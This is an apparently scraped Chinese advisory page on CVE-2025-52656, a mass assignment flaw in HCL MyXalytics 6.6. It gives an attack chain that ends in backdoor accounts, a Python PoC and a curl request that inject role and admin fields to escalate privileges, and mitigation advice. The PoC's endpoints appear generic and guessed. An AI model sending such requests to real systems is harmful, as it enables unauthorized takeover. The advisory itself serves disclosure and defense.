IPBUF安全漏洞报告
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CVE-2025-52656 CVSS 7.6 高危

CVE-2025-52656 HCL MyXalytics 6.6 质量分配漏洞

披露日期: 2025-10-03

漏洞信息

漏洞编号
CVE-2025-52656
漏洞类型
质量分配漏洞(Mass Assignment)
CVSS评分
7.6 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
HCL MyXalytics

相关标签

质量分配漏洞Mass AssignmentHCL MyXalytics权限提升高危漏洞CWE-915Web应用安全数据绑定漏洞未授权访问

漏洞概述

CVE-2025-52656是HCL MyXalytics 6.6版本中存在的一个质量分配(Mass Assignment)漏洞。该漏洞的CVSS 3.1评分为7.6,属于高危级别。HCL MyXalytics是HCL公司的一款数据分析与可视化平台,广泛应用于企业级数据管理和分析场景。

质量分配漏洞是一种常见于Web应用程序的安全缺陷,其核心问题在于应用程序在处理用户提交的数据时,未对输入字段进行充分的验证和访问控制检查,而是直接将用户输入自动绑定到应用程序的内部对象或数据模型上。这种设计缺陷可能导致攻击者通过精心构造的请求,修改本不应由普通用户控制的敏感字段,如用户角色、权限标识、账户状态等。

该漏洞的CVSS向量表明,攻击者可以通过网络远程发起攻击(AV:N),攻击复杂度较低(AC:L),无需任何特权或认证即可发起攻击(PR:N),但需要用户进行某种形式的交互(UI:R)。一旦漏洞被成功利用,将对系统机密性造成低级别影响,对完整性造成高级别影响,对可用性造成低级别影响。HCL公司已通过其官方安全公告确认了该漏洞,并提供了相应的修复方案。

技术细节

质量分配(Mass Assignment)漏洞的产生根源在于现代Web框架(如Ruby on Rails、Django、Spring等)提供的便捷对象绑定功能。当开发者使用框架提供的自动绑定机制(如Rails中的`update_attributes`、Django中的`ModelForm`等)将HTTP请求参数直接映射到数据库模型时,如果没有明确指定允许更新的字段列表(即白名单机制),攻击者就可以通过提交额外的参数来修改模型中的敏感字段。

在HCL MyXalytics 6.6的具体场景中,攻击者可以利用该漏洞通过构造包含额外字段的HTTP请求,绕过正常的访问控制机制。例如,攻击者可能通过修改请求中的`role`、`isAdmin`、`permissions`等字段,将普通用户提升为管理员权限,或者修改其他用户的账户属性。

利用方式如下:
1. 攻击者首先访问目标MyXalytics平台的正常功能接口(如用户资料更新、配置修改等)。
2. 拦截正常的HTTP请求,分析请求中包含的参数结构。
3. 在请求中添加额外的敏感字段(如权限字段、角色字段等),这些字段通常不在正常用户界面上显示。
4. 发送修改后的请求到服务器,由于服务器未对输入字段进行白名单验证,额外的字段会被自动绑定到内部对象上。
5. 攻击成功后,攻击者获得了未授权的权限提升或敏感数据修改能力。

该漏洞的危险性在于其利用门槛低、影响范围广,可能导致权限提升、数据篡改、账户接管等严重后果。

攻击链分析

STEP 1
步骤1:信息收集
攻击者首先访问目标HCL MyXalytics 6.6平台,注册或获取普通用户账号,通过拦截正常的HTTP请求分析API接口结构和参数格式。
STEP 2
步骤2:参数分析
攻击者分析正常请求中包含的参数,识别出哪些字段是用户可控制的,并推测可能存在的隐藏敏感字段(如role、isAdmin、permissions等)。
STEP 3
步骤3:构造恶意请求
攻击者在正常请求的基础上,添加额外的敏感字段(如管理员角色、权限提升字段),利用质量分配漏洞的特性,使这些字段被自动绑定到应用程序对象上。
STEP 4
步骤4:发送攻击请求
攻击者将构造好的恶意请求发送到目标服务器,由于服务器未对输入字段进行白名单验证,额外的敏感字段被成功处理。
STEP 5
步骤5:权限提升
攻击成功后,攻击者的账户权限被提升至管理员级别或获得了未授权的访问权限,可进一步执行数据窃取、配置篡改等恶意操作。
STEP 6
步骤6:持久化访问
攻击者利用提升后的权限,创建后门账户或修改系统配置,确保即使被发现也能保持对系统的持续访问。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-52656 - HCL MyXalytics 6.6 Mass Assignment PoC # This PoC demonstrates the Mass Assignment vulnerability by sending # additional privileged fields in a normal user request. import requests import json # Target configuration TARGET_URL = "https://target-myxalytics-host:port" SESSION_COOKIE = "JSESSIONID=your_session_cookie_here" # Step 1: Intercept a normal profile update request # Normal user fields that are expected normal_fields = { "firstName": "John", "lastName": "Doe", "email": "[email protected]", "department": "Analytics" } # Step 2: Add malicious fields (Mass Assignment payload) # These fields are not exposed in the UI but will be bound to the model malicious_fields = { "role": "ADMIN", # Privilege escalation "isAdmin": True, # Admin flag "permissions": ["ALL"], # Full permissions "accountStatus": "ACTIVE", # Account status manipulation "userLevel": 99, # User level escalation "groupId": "admin_group_001" # Admin group assignment } # Combine normal and malicious fields payload = {**normal_fields, **malicious_fields} # Step 3: Send the crafted request headers = { "Content-Type": "application/json", "Cookie": SESSION_COOKIE, "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } try: response = requests.post( f"{TARGET_URL}/api/user/profile/update", headers=headers, data=json.dumps(payload), verify=False ) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # Step 4: Verify privilege escalation if response.status_code == 200: verify_response = requests.get( f"{TARGET_URL}/api/user/profile", headers=headers, verify=False ) print(f"Updated Profile: {verify_response.text}") except Exception as e: print(f"Error: {e}") # Alternative: Using curl command # curl -X POST "https://target/api/user/update" \ # -H "Content-Type: application/json" \ # -H "Cookie: JSESSIONID=xxx" \ # -d '{ # "firstName": "John", # "lastName": "Doe", # "email": "[email protected]", # "role": "ADMIN", # "isAdmin": true, # "permissions": ["ALL"] # }'

影响范围

HCL MyXalytics 6.6
HCL MyXalytics < 6.6(可能受影响)

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)对所有暴露的API接口进行审计,识别可能存在质量分配风险的端点;2)在前端和后端同时实施输入验证,对敏感字段(如角色、权限、管理员标志等)进行额外的服务端校验;3)使用中间件或过滤器拦截包含可疑字段(如role、admin、permission等)的请求;4)限制普通用户的API访问权限,仅开放必要的功能接口;5)密切监控系统日志,关注异常的账户权限变更行为;6)尽快联系HCL技术支持获取官方补丁。

参考链接

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